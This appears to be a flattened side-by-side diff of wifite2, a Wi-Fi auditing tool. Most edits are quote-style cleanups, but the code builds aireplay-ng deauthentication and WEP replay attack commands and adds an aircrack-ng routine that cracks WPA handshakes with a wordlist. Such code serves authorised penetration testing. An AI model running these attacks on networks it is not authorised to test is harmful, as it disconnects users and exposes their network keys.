def display(cls):
''' Show cracked targets from cracked.txt '''
name = cls.cracked_file
if not os.path.exists(name):
Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
return
with open(name, 'r') as fid:
cracked_targets = loads(fid.read())
if len(cracked_targets) == 0:
Color.pl('{!} {R}no results found in {O}%s{W}' % name)
return
Color.pl('\n{+} Displaying {G}%d{W} cracked target(s) from {C}%s{W}\n' % (
len(cracked_targets), name))
results = sorted([cls.load(item) for item in cracked_targets], key=lambda x: x.date, reverse=True)
longest_essid = max([len(result.essid or 'ESSID') for result in results])
# Header
Color.p('{D} ')
Color.p('ESSID'.ljust(longest_essid))
Color.p(' ')
Color.p('BSSID'.ljust(17))
Color.p(' ')
Color.p('DATE'.ljust(19))
Color.p(' ')
Color.p('TYPE'.ljust(5))
Color.p(' ')
Color.p('KEY')
Color.pl('{D}')
Color.p(' ' + '-' * (longest_essid + 17 + 19 + 5 + 11 + 12))
Color.pl('{W}')
# Results
for result in results:
result.print_single_line(longest_essid)
Color.pl('')
@classmethod @classmethod
def load_all(cls): def load_all(cls):
if not os.path.exists(cls.cracked_file): return [] if not os.path.exists(cls.cracked_file): return []
with open(cls.cracked_file, "r") as json_file: with open(cls.cracked_file, 'r') as json_file:
json = loads(json_file.read()) json = loads(json_file.read())
return json return json
@@ -68,7 +135,15 @@ class CrackResult(object):
json['essid'], json['essid'],
json['pin'], json['pin'],
json['psk']) json['psk'])
elif json['type'] == 'PMKID':
from .pmkid_result import CrackResultPMKID
result = CrackResultPMKID(json['bssid'],
json['essid'],
json['pmkid_file'],
json['key'])
result.date = json['date'] result.date = json['date']
result.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.date))
return result return result
if __name__ == '__main__': if __name__ == '__main__':

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color
@@ -7,7 +7,7 @@ import re
class Target(object): class Target(object):
''' '''
Holds details for a "Target" aka Access Point (e.g. router). Holds details for a 'Target' aka Access Point (e.g. router).
''' '''
def __init__(self, fields): def __init__(self, fields):
@@ -56,11 +56,12 @@ class Target(object):
if self.essid == '\\x00' * self.essid_len or \ if self.essid == '\\x00' * self.essid_len or \
self.essid == 'x00' * self.essid_len or \ self.essid == 'x00' * self.essid_len or \
self.essid.strip() == '': self.essid.strip() == '':
# Don't display "\x00..." for hidden ESSIDs # Don't display '\x00...' for hidden ESSIDs
self.essid = None # '(%s)' % self.bssid self.essid = None # '(%s)' % self.bssid
self.essid_known = False self.essid_known = False
self.wps = None # False=No WPS, None=Locked WPS, True=Unlocked WPS
self.wps = False
self.decloaked = False # If ESSID was hidden but we decloaked it. self.decloaked = False # If ESSID was hidden but we decloaked it.
@@ -70,26 +71,26 @@ class Target(object):
def validate(self): def validate(self):
''' Checks that the target is valid. ''' ''' Checks that the target is valid. '''
if self.channel == "-1": if self.channel == '-1':
raise Exception("Ignoring target with Negative-One (-1) channel") raise Exception('Ignoring target with Negative-One (-1) channel')
# Filter broadcast/multicast BSSIDs, see https://github.com/derv82/wifite2/issues/32 # Filter broadcast/multicast BSSIDs, see https://github.com/derv82/wifite2/issues/32
bssid_broadcast = re.compile(r"^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$", re.IGNORECASE) bssid_broadcast = re.compile(r'^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$', re.IGNORECASE)
if bssid_broadcast.match(self.bssid): if bssid_broadcast.match(self.bssid):
raise Exception("Ignoring target with Broadcast BSSID (%s)" % self.bssid) raise Exception('Ignoring target with Broadcast BSSID (%s)' % self.bssid)
bssid_multicast = re.compile(r"^(01:00:5e|01:80:c2|33:33)", re.IGNORECASE) bssid_multicast = re.compile(r'^(01:00:5e|01:80:c2|33:33)', re.IGNORECASE)
if bssid_multicast.match(self.bssid): if bssid_multicast.match(self.bssid):
raise Exception("Ignoring target with Multicast BSSID (%s)" % self.bssid) raise Exception('Ignoring target with Multicast BSSID (%s)' % self.bssid)
def to_str(self, show_bssid=False): def to_str(self, show_bssid=False):
''' '''
*Colored* string representation of this Target. *Colored* string representation of this Target.
Specifically formatted for the "scanning" table view. Specifically formatted for the 'scanning' table view.
''' '''
max_essid_len = 24 max_essid_len = 24
essid = self.essid if self.essid_known else "(%s)" % self.bssid essid = self.essid if self.essid_known else '(%s)' % self.bssid
# Trim ESSID (router name) if needed # Trim ESSID (router name) if needed
if len(essid) > max_essid_len: if len(essid) > max_essid_len:
essid = essid[0:max_essid_len-3] + '...' essid = essid[0:max_essid_len-3] + '...'
@@ -98,30 +99,30 @@ class Target(object):
if self.essid_known: if self.essid_known:
# Known ESSID # Known ESSID
essid = Color.s("{C}%s" % essid) essid = Color.s('{C}%s' % essid)
else: else:
# Unknown ESSID # Unknown ESSID
essid = Color.s("{O}%s" % essid) essid = Color.s('{O}%s' % essid)
# Add a "*" if we decloaked the ESSID # Add a '*' if we decloaked the ESSID
decloaked_char = '*' if self.decloaked else ' ' decloaked_char = '*' if self.decloaked else ' '
essid += Color.s("{P}%s" % decloaked_char) essid += Color.s('{P}%s' % decloaked_char)
if show_bssid: if show_bssid:
bssid = Color.s('{O}%s ' % self.bssid) bssid = Color.s('{O}%s ' % self.bssid)
else: else:
bssid = '' bssid = ''
channel_color = "{G}" channel_color = '{G}'
if int(self.channel) > 14: if int(self.channel) > 14:
channel_color = "{C}" channel_color = '{C}'
channel = Color.s("%s%s" % (channel_color, str(self.channel).rjust(3))) channel = Color.s('%s%s' % (channel_color, str(self.channel).rjust(3)))
encryption = self.encryption.rjust(4) encryption = self.encryption.rjust(4)
if 'WEP' in encryption: if 'WEP' in encryption:
encryption = Color.s("{G}%s" % encryption) encryption = Color.s('{G}%s' % encryption)
elif 'WPA' in encryption: elif 'WPA' in encryption:
encryption = Color.s("{O}%s" % encryption) encryption = Color.s('{O}%s' % encryption)
power = '%sdb' % str(self.power).rjust(3) power = '%sdb' % str(self.power).rjust(3)
if self.power > 50: if self.power > 50:
@@ -136,9 +137,9 @@ class Target(object):
if self.wps == True: if self.wps == True:
wps = Color.s('{G} yes') wps = Color.s('{G} yes')
elif self.wps == False: elif self.wps == False:
wps = Color.s('{R} no') wps = Color.s('{O} no')
else: elif self.wps is None:
wps = Color.s('{O} n/a') wps = Color.s('{R}lock')
clients = ' ' clients = ' '
if len(self.clients) > 0: if len(self.clients) > 0:
@@ -146,14 +147,14 @@ class Target(object):
result = '%s %s%s %s %s %s %s' % ( result = '%s %s%s %s %s %s %s' % (
essid, bssid, channel, encryption, power, wps, clients) essid, bssid, channel, encryption, power, wps, clients)
result += Color.s("{W}") result += Color.s('{W}')
return result return result
if __name__ == '__main__': if __name__ == '__main__':
fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',') fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')
t = Target(fields) t = Target(fields)
t.clients.append("asdf") t.clients.append('asdf')
t.clients.append("asdf") t.clients.append('asdf')
print(t.to_str()) print(t.to_str())

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color
@@ -24,6 +24,15 @@ class CrackResultWEP(CrackResult):
if self.ascii_key: if self.ascii_key:
Color.pl('{+} Ascii Key: {G}%s{W}' % self.ascii_key) Color.pl('{+} Ascii Key: {G}%s{W}' % self.ascii_key)
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'WEP'.ljust(5))
Color.p(' ')
Color.p('Hex: {G}%s{W}' % self.hex_key.replace(':', ''))
if self.ascii_key:
Color.p(' (ASCII: {G}%s{W})' % self.ascii_key)
Color.pl('')
def to_dict(self): def to_dict(self):
return { return {
'type' : self.result_type, 'type' : self.result_type,

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color
@@ -30,6 +30,13 @@ class CrackResultWPA(CrackResult):
else: else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19)) Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'WPA'.ljust(5))
Color.p(' ')
Color.p('Key: {G}%s{W}' % self.key)
Color.pl('')
def to_dict(self): def to_dict(self):
return { return {
'type' : self.result_type, 'type' : self.result_type,

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color
@@ -27,6 +27,15 @@ class CrackResultWPS(CrackResult):
Color.pl('{+} %s: {G}%s{W}' % ( 'WPS PIN'.rjust(12), self.pin)) Color.pl('{+} %s: {G}%s{W}' % ( 'WPS PIN'.rjust(12), self.pin))
Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), psk)) Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), psk))
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'WPS'.ljust(5))
Color.p(' ')
if self.psk:
Color.p('Key: {G}%s{W} ' % self.psk)
Color.p('PIN: {G}%s{W}' % self.pin)
Color.pl('')
def to_dict(self): def to_dict(self):
return { return {
'type' : self.result_type, 'type' : self.result_type,

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -7,6 +7,7 @@ from ..util.input import xrange
from ..config import Configuration from ..config import Configuration
import os import os
import re
class Aircrack(Dependency): class Aircrack(Dependency):
dependency_required = True dependency_required = True
@@ -77,6 +78,70 @@ class Aircrack(Dependency):
if os.path.exists(self.cracked_file): if os.path.exists(self.cracked_file):
os.remove(self.cracked_file) os.remove(self.cracked_file)
@staticmethod
def crack_handshake(handshake, show_command=False):
from ..util.color import Color
from ..util.timer import Timer
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
key_file = Configuration.temp('wpakey.txt')
command = [
'aircrack-ng',
'-a', '2',
'-w', Configuration.wordlist,
'--bssid', handshake.bssid,
'-l', key_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r'(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s')
aircrack_key_re = re.compile(r'Current passphrase:\s*([^\s].*[^\s])\s*$')
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = 'unknown'
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line.decode('utf-8'))
match_keys = aircrack_key_re.search(line.decode('utf-8'))
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = '\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}' % percent
status += ' ETA: {C}%s{W}' % eta_str
status += ' @ {C}%0.1fkps{W}' % num_kps
#status += ' ({C}%d{W}/{C}%d{W} keys)' % (num_tried, num_total)
status += ' (current key: {C}%s{W})' % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl('')
# Check crack result
if os.path.exists(key_file):
with open(key_file, 'r') as fid:
key = fid.read().strip()
os.remove(key_file)
return key
else:
return None
if __name__ == '__main__': if __name__ == '__main__':
(hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1') (hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1')
assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey
@@ -91,17 +156,17 @@ if __name__ == '__main__':
Configuration.initialize(False) Configuration.initialize(False)
ivs_file = 'tests/files/wep-crackable.ivs' ivs_file = 'tests/files/wep-crackable.ivs'
print("Running aircrack on %s ..." % ivs_file) print('Running aircrack on %s ...' % ivs_file)
aircrack = Aircrack(ivs_file) aircrack = Aircrack(ivs_file)
while aircrack.is_running(): while aircrack.is_running():
sleep(1) sleep(1)
assert aircrack.is_cracked(), "Aircrack should have cracked %s" % ivs_file assert aircrack.is_cracked(), 'Aircrack should have cracked %s' % ivs_file
print("aircrack process completed.") print('aircrack process completed.')
(hexkey, asciikey) = aircrack.get_key_hex_ascii() (hexkey, asciikey) = aircrack.get_key_hex_ascii()
print("aircrack found HEX key: (%s) and ASCII key: (%s)" % (hexkey, asciikey)) print('aircrack found HEX key: (%s) and ASCII key: (%s)' % (hexkey, asciikey))
assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey
assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -36,7 +36,7 @@ class WEPAttackType(object):
self.name = name self.name = name
self.value = value self.value = value
return return
raise Exception("Attack number %d not found" % var) raise Exception('Attack number %d not found' % var)
elif type(var) is str: elif type(var) is str:
for (name,value) in WEPAttackType.__dict__.items(): for (name,value) in WEPAttackType.__dict__.items():
if type(value) is int: if type(value) is int:
@@ -44,12 +44,12 @@ class WEPAttackType(object):
self.name = name self.name = name
self.value = value self.value = value
return return
raise Exception("Attack name %s not found" % var) raise Exception('Attack name %s not found' % var)
elif type(var) == WEPAttackType: elif type(var) == WEPAttackType:
self.name = var.name self.name = var.name
self.value = var.value self.value = var.value
else: else:
raise Exception("Attack type not supported") raise Exception('Attack type not supported')
def __str__(self): def __str__(self):
return self.name return self.name
@@ -65,13 +65,13 @@ class Aireplay(Thread, Dependency):
Starts aireplay process. Starts aireplay process.
Args: Args:
target - Instance of Target object, AP to attack. target - Instance of Target object, AP to attack.
attack_type - str, e.g. "fakeauth", "arpreplay", etc. attack_type - str, e.g. 'fakeauth', 'arpreplay', etc.
client_mac - MAC address of an associated client. client_mac - MAC address of an associated client.
''' '''
super(Aireplay, self).__init__() # Init the parent Thread super(Aireplay, self).__init__() # Init the parent Thread
self.target = target self.target = target
self.output_file = Configuration.temp("aireplay_%s.output" % attack_type) self.output_file = Configuration.temp('aireplay_%s.output' % attack_type)
self.attack_type = WEPAttackType(attack_type).value self.attack_type = WEPAttackType(attack_type).value
self.error = None self.error = None
self.status = None self.status = None
@@ -90,7 +90,7 @@ class Aireplay(Thread, Dependency):
def stop(self): def stop(self):
''' Stops aireplay process ''' ''' Stops aireplay process '''
if hasattr(self, "pid") and self.pid and self.pid.poll() is None: if hasattr(self, 'pid') and self.pid and self.pid.poll() is None:
self.pid.interrupt() self.pid.interrupt()
def get_output(self): def get_output(self):
@@ -104,7 +104,7 @@ class Aireplay(Thread, Dependency):
time.sleep(0.1) time.sleep(0.1)
if not os.path.exists(self.output_file): continue if not os.path.exists(self.output_file): continue
# Read output file & clear output file # Read output file & clear output file
with open(self.output_file, "r+") as fid: with open(self.output_file, 'r+') as fid:
lines = fid.read() lines = fid.read()
self.stdout += lines self.stdout += lines
fid.seek(0) fid.seek(0)
@@ -114,51 +114,51 @@ class Aireplay(Thread, Dependency):
from ..util.color import Color from ..util.color import Color
Color.pl('\n{P} [?] aireplay output:\n %s{W}' % lines.strip().replace('\n', '\n ')) Color.pl('\n{P} [?] aireplay output:\n %s{W}' % lines.strip().replace('\n', '\n '))
for line in lines.split("\n"): for line in lines.split('\n'):
line = line.replace("\r", "").strip() line = line.replace('\r', '').strip()
if line == "": continue if line == '': continue
if "Notice: got a deauth/disassoc packet" in line: if 'Notice: got a deauth/disassoc packet' in line:
self.error = "Not associated (needs fakeauth)" self.error = 'Not associated (needs fakeauth)'
if self.attack_type == WEPAttackType.fakeauth: if self.attack_type == WEPAttackType.fakeauth:
# Look for fakeauth status. Potential Output lines: # Look for fakeauth status. Potential Output lines:
# (START): 00:54:58 Sending Authentication Request (Open System) # (START): 00:54:58 Sending Authentication Request (Open System)
if "Sending Authentication Request " in line: if 'Sending Authentication Request ' in line:
self.status = None # Reset self.status = None # Reset
# (????): Please specify an ESSID (-e). # (????): Please specify an ESSID (-e).
elif "Please specify an ESSID" in line: elif 'Please specify an ESSID' in line:
self.status = None self.status = None
# (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds) # (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds)
elif "Got a deauthentication packet!" in line: elif 'Got a deauthentication packet!' in line:
self.status = False self.status = False
# (PASS): 20:17:25 Association successful :-) (AID: 1) # (PASS): 20:17:25 Association successful :-) (AID: 1)
# (PASS): 20:18:55 Reassociation successful :-) (AID: 1) # (PASS): 20:18:55 Reassociation successful :-) (AID: 1)
elif "association successful :-)" in line.lower(): elif 'association successful :-)' in line.lower():
self.status = True self.status = True
elif self.attack_type == WEPAttackType.chopchop: elif self.attack_type == WEPAttackType.chopchop:
# Look for chopchop status. Potential output lines: # Look for chopchop status. Potential output lines:
# (START) Read 178 packets... # (START) Read 178 packets...
read_re = re.compile(r"Read (\d+) packets") read_re = re.compile(r'Read (\d+) packets')
matches = read_re.match(line) matches = read_re.match(line)
if matches: if matches:
self.status = "Waiting for packet (read %s)..." % matches.group(1) self.status = 'Waiting for packet (read %s)...' % matches.group(1)
# Sent 1912 packets, current guess: 70... # Sent 1912 packets, current guess: 70...
sent_re = re.compile(r"Sent (\d+) packets, current guess: (\w+)...") sent_re = re.compile(r'Sent (\d+) packets, current guess: (\w+)...')
matches = sent_re.match(line) matches = sent_re.match(line)
if matches: if matches:
self.status = "Generating .xor (%s)... current guess: %s" % (self.xor_percent, matches.group(2)) self.status = 'Generating .xor (%s)... current guess: %s' % (self.xor_percent, matches.group(2))
# (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms # (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms
offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)") offset_re = re.compile(r'Offset.*\(\s*(\d+%) done\)')
matches = offset_re.match(line) matches = offset_re.match(line)
if matches: if matches:
self.xor_percent = matches.group(1) self.xor_percent = matches.group(1)
self.status = "Generating .xor (%s)..." % self.xor_percent self.status = 'Generating .xor (%s)...' % self.xor_percent
# (DONE) Saving keystream in replay_dec-0516-202246.xor # (DONE) Saving keystream in replay_dec-0516-202246.xor
saving_re = re.compile(r"Saving keystream in (.*\.xor)") saving_re = re.compile(r'Saving keystream in (.*\.xor)')
matches = saving_re.match(line) matches = saving_re.match(line)
if matches: if matches:
self.status = matches.group(1) self.status = matches.group(1)
@@ -171,17 +171,17 @@ class Aireplay(Thread, Dependency):
# Parse fragment output, update self.status # Parse fragment output, update self.status
# (START) Read 178 packets... # (START) Read 178 packets...
read_re = re.compile(r"Read (\d+) packets") read_re = re.compile(r'Read (\d+) packets')
matches = read_re.match(line) matches = read_re.match(line)
if matches: if matches:
self.status = "Waiting for packet (read %s)..." % matches.group(1) self.status = 'Waiting for packet (read %s)...' % matches.group(1)
# 01:08:15 Waiting for a data packet... # 01:08:15 Waiting for a data packet...
if 'Waiting for a data packet' in line: if 'Waiting for a data packet' in line:
self.status = 'waiting for packet' self.status = 'waiting for packet'
# Read 207 packets... # Read 207 packets...
trying_re = re.compile(r"Trying to get (\d+) bytes of a keystream") trying_re = re.compile(r'Trying to get (\d+) bytes of a keystream')
matches = trying_re.match(line) matches = trying_re.match(line)
if matches: if matches:
self.status = 'trying to get %sb of a keystream' % matches.group(1) self.status = 'trying to get %sb of a keystream' % matches.group(1)
@@ -195,7 +195,7 @@ class Aireplay(Thread, Dependency):
self.status = 'sending another packet' self.status = 'sending another packet'
# XX:XX:XX Trying to get 1500 bytes of a keystream # XX:XX:XX Trying to get 1500 bytes of a keystream
trying_re = re.compile(r"Trying to get (\d+) bytes of a keystream") trying_re = re.compile(r'Trying to get (\d+) bytes of a keystream')
matches = trying_re.match(line) matches = trying_re.match(line)
if matches: if matches:
self.status = 'trying to get %sb of a keystream' % matches.group(1) self.status = 'trying to get %sb of a keystream' % matches.group(1)
@@ -204,12 +204,12 @@ class Aireplay(Thread, Dependency):
if 'Got RELAYED packet' in line: if 'Got RELAYED packet' in line:
self.status = 'got relayed packet' self.status = 'got relayed packet'
# XX:XX:XX Thats our ARP packet! # XX:XX:XX That's our ARP packet!
if 'Thats our ARP packet' in line: if 'Thats our ARP packet' in line:
self.status = 'relayed packet was our' self.status = 'relayed packet was our'
# XX:XX:XX Saving keystream in fragment-0124-161129.xor # XX:XX:XX Saving keystream in fragment-0124-161129.xor
saving_re = re.compile(r"Saving keystream in (.*\.xor)") saving_re = re.compile(r'Saving keystream in (.*\.xor)')
matches = saving_re.match(line) matches = saving_re.match(line)
if matches: if matches:
self.status = 'saving keystream to %s' % matches.group(1) self.status = 'saving keystream to %s' % matches.group(1)
@@ -220,14 +220,14 @@ class Aireplay(Thread, Dependency):
# Parse Packets Sent & PacketsPerSecond. Possible output lines: # Parse Packets Sent & PacketsPerSecond. Possible output lines:
# Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps) # Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
# Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps) # Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
read_re = re.compile(r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)") read_re = re.compile(r'Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)')
matches = read_re.match(line) matches = read_re.match(line)
if matches: if matches:
pps = matches.group(5) pps = matches.group(5)
if pps == "0": if pps == '0':
self.status = "Waiting for packet..." self.status = 'Waiting for packet...'
else: else:
self.status = "Replaying @ %s/sec" % pps self.status = 'Replaying @ %s/sec' % pps
pass pass
def __del__(self): def __del__(self):
@@ -248,10 +248,10 @@ class Aireplay(Thread, Dependency):
# Interface is required at this point # Interface is required at this point
Configuration.initialize() Configuration.initialize()
if Configuration.interface is None: if Configuration.interface is None:
raise Exception("Wireless interface must be defined (-i)") raise Exception('Wireless interface must be defined (-i)')
cmd = ["aireplay-ng"] cmd = ['aireplay-ng']
cmd.append("--ignore-negative-one") cmd.append('--ignore-negative-one')
if client_mac is None and len(target.clients) > 0: if client_mac is None and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that. # Client MAC wasn't specified, but there's an associated client. Use that.
@@ -263,87 +263,87 @@ class Aireplay(Thread, Dependency):
if attack_type == WEPAttackType.fakeauth: if attack_type == WEPAttackType.fakeauth:
cmd.extend([ cmd.extend([
"--fakeauth", "30", # Fake auth every 30 seconds '--fakeauth', '30', # Fake auth every 30 seconds
"-Q", # Send re-association packets '-Q', # Send re-association packets
"-a", target.bssid '-a', target.bssid
]) ])
if target.essid_known: if target.essid_known:
cmd.extend(["-e", target.essid]) cmd.extend(['-e', target.essid])
elif attack_type == WEPAttackType.replay: elif attack_type == WEPAttackType.replay:
cmd.extend([ cmd.extend([
"--arpreplay", '--arpreplay',
"-b", target.bssid, '-b', target.bssid,
"-x", str(Configuration.wep_pps) '-x', str(Configuration.wep_pps)
]) ])
if client_mac: if client_mac:
cmd.extend(["-h", client_mac]) cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.chopchop: elif attack_type == WEPAttackType.chopchop:
cmd.extend([ cmd.extend([
"--chopchop", '--chopchop',
"-b", target.bssid, '-b', target.bssid,
"-x", str(Configuration.wep_pps), '-x', str(Configuration.wep_pps),
#"-m", "60", # Minimum packet length (bytes) #'-m', '60', # Minimum packet length (bytes)
#"-n", "82", # Maximum packet length #'-n', '82', # Maximum packet length
"-F" # Automatically choose first packet '-F' # Automatically choose first packet
]) ])
if client_mac: if client_mac:
cmd.extend(["-h", client_mac]) cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.fragment: elif attack_type == WEPAttackType.fragment:
cmd.extend([ cmd.extend([
"--fragment", '--fragment',
"-b", target.bssid, '-b', target.bssid,
"-x", str(Configuration.wep_pps), '-x', str(Configuration.wep_pps),
"-m", "100", # Minimum packet length (bytes) '-m', '100', # Minimum packet length (bytes)
"-F" # Automatically choose first packet '-F' # Automatically choose first packet
]) ])
if client_mac: if client_mac:
cmd.extend(["-h", client_mac]) cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.caffelatte: elif attack_type == WEPAttackType.caffelatte:
if len(target.clients) == 0: if len(target.clients) == 0:
# Unable to carry out caffe-latte attack # Unable to carry out caffe-latte attack
raise Exception("Client is required for caffe-latte attack") raise Exception('Client is required for caffe-latte attack')
cmd.extend([ cmd.extend([
"--caffe-latte", '--caffe-latte',
"-b", target.bssid, '-b', target.bssid,
"-h", target.clients[0].station '-h', target.clients[0].station
]) ])
elif attack_type == WEPAttackType.p0841: elif attack_type == WEPAttackType.p0841:
cmd.extend([ cmd.extend([
"--arpreplay", '--arpreplay',
"-b", target.bssid, '-b', target.bssid,
"-c", "ff:ff:ff:ff:ff:ff", '-c', 'ff:ff:ff:ff:ff:ff',
"-x", str(Configuration.wep_pps), '-x', str(Configuration.wep_pps),
"-F", # Automatically choose first packet '-F', # Automatically choose first packet
"-p", "0841" '-p', '0841'
]) ])
if client_mac: if client_mac:
cmd.extend(["-h", client_mac]) cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.hirte: elif attack_type == WEPAttackType.hirte:
if client_mac is None: if client_mac is None:
# Unable to carry out hirte attack # Unable to carry out hirte attack
raise Exception("Client is required for hirte attack") raise Exception('Client is required for hirte attack')
cmd.extend([ cmd.extend([
"--cfrag", '--cfrag',
"-h", client_mac '-h', client_mac
]) ])
elif attack_type == WEPAttackType.forgedreplay: elif attack_type == WEPAttackType.forgedreplay:
if client_mac is None or replay_file is None: if client_mac is None or replay_file is None:
raise Exception("Client_mac and Replay_File are required for arp replay") raise Exception('Client_mac and Replay_File are required for arp replay')
cmd.extend([ cmd.extend([
"--arpreplay", '--arpreplay',
"-b", target.bssid, '-b', target.bssid,
"-h", client_mac, '-h', client_mac,
"-r", replay_file, '-r', replay_file,
"-F", # Automatically choose first packet '-F', # Automatically choose first packet
"-x", str(Configuration.wep_pps) '-x', str(Configuration.wep_pps)
]) ])
else: else:
raise Exception("Unexpected attack type: %s" % attack_type) raise Exception('Unexpected attack type: %s' % attack_type)
cmd.append(Configuration.interface) cmd.append(Configuration.interface)
return cmd return cmd
@@ -388,18 +388,18 @@ class Aireplay(Thread, Dependency):
def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2): def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2):
num_deauths = num_deauths or Configuration.num_deauths num_deauths = num_deauths or Configuration.num_deauths
deauth_cmd = [ deauth_cmd = [
"aireplay-ng", 'aireplay-ng',
"-0", # Deauthentication '-0', # Deauthentication
str(num_deauths), str(num_deauths),
"--ignore-negative-one", '--ignore-negative-one',
"-a", target_bssid, # Target AP '-a', target_bssid, # Target AP
"-D" # Skip AP detection '-D' # Skip AP detection
] ]
if client_mac is not None: if client_mac is not None:
# Station-specific deauth # Station-specific deauth
deauth_cmd.extend(["-c", client_mac]) deauth_cmd.extend(['-c', client_mac])
if essid: if essid:
deauth_cmd.extend(["-e", essid]) deauth_cmd.extend(['-e', essid])
deauth_cmd.append(Configuration.interface) deauth_cmd.append(Configuration.interface)
proc = Process(deauth_cmd) proc = Process(deauth_cmd)
while proc.poll() is None: while proc.poll() is None:
@@ -450,23 +450,3 @@ if __name__ == '__main__':
t = WEPAttackType(t) t = WEPAttackType(t)
print(t.name, type(t.name), t.value) print(t.name, type(t.name), t.value)
from ..model.target import Target
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
t = Target(fields)
'''
aireplay = Aireplay(t, 'replay')
while aireplay.is_running():
from time import sleep
sleep(0.1)
stdout, stderr = aireplay.get_output()
print("STDOUT>", stdout)
print("STDERR>", stderr)
'''
'''
forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \
'A4:2B:8C:16:6B:3A', \
'00:C0:CA:4E:CA:E0')
print(forge)
'''

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -19,7 +19,6 @@ class AirmonIface(object):
self.interface = interface self.interface = interface
self.driver = driver self.driver = driver
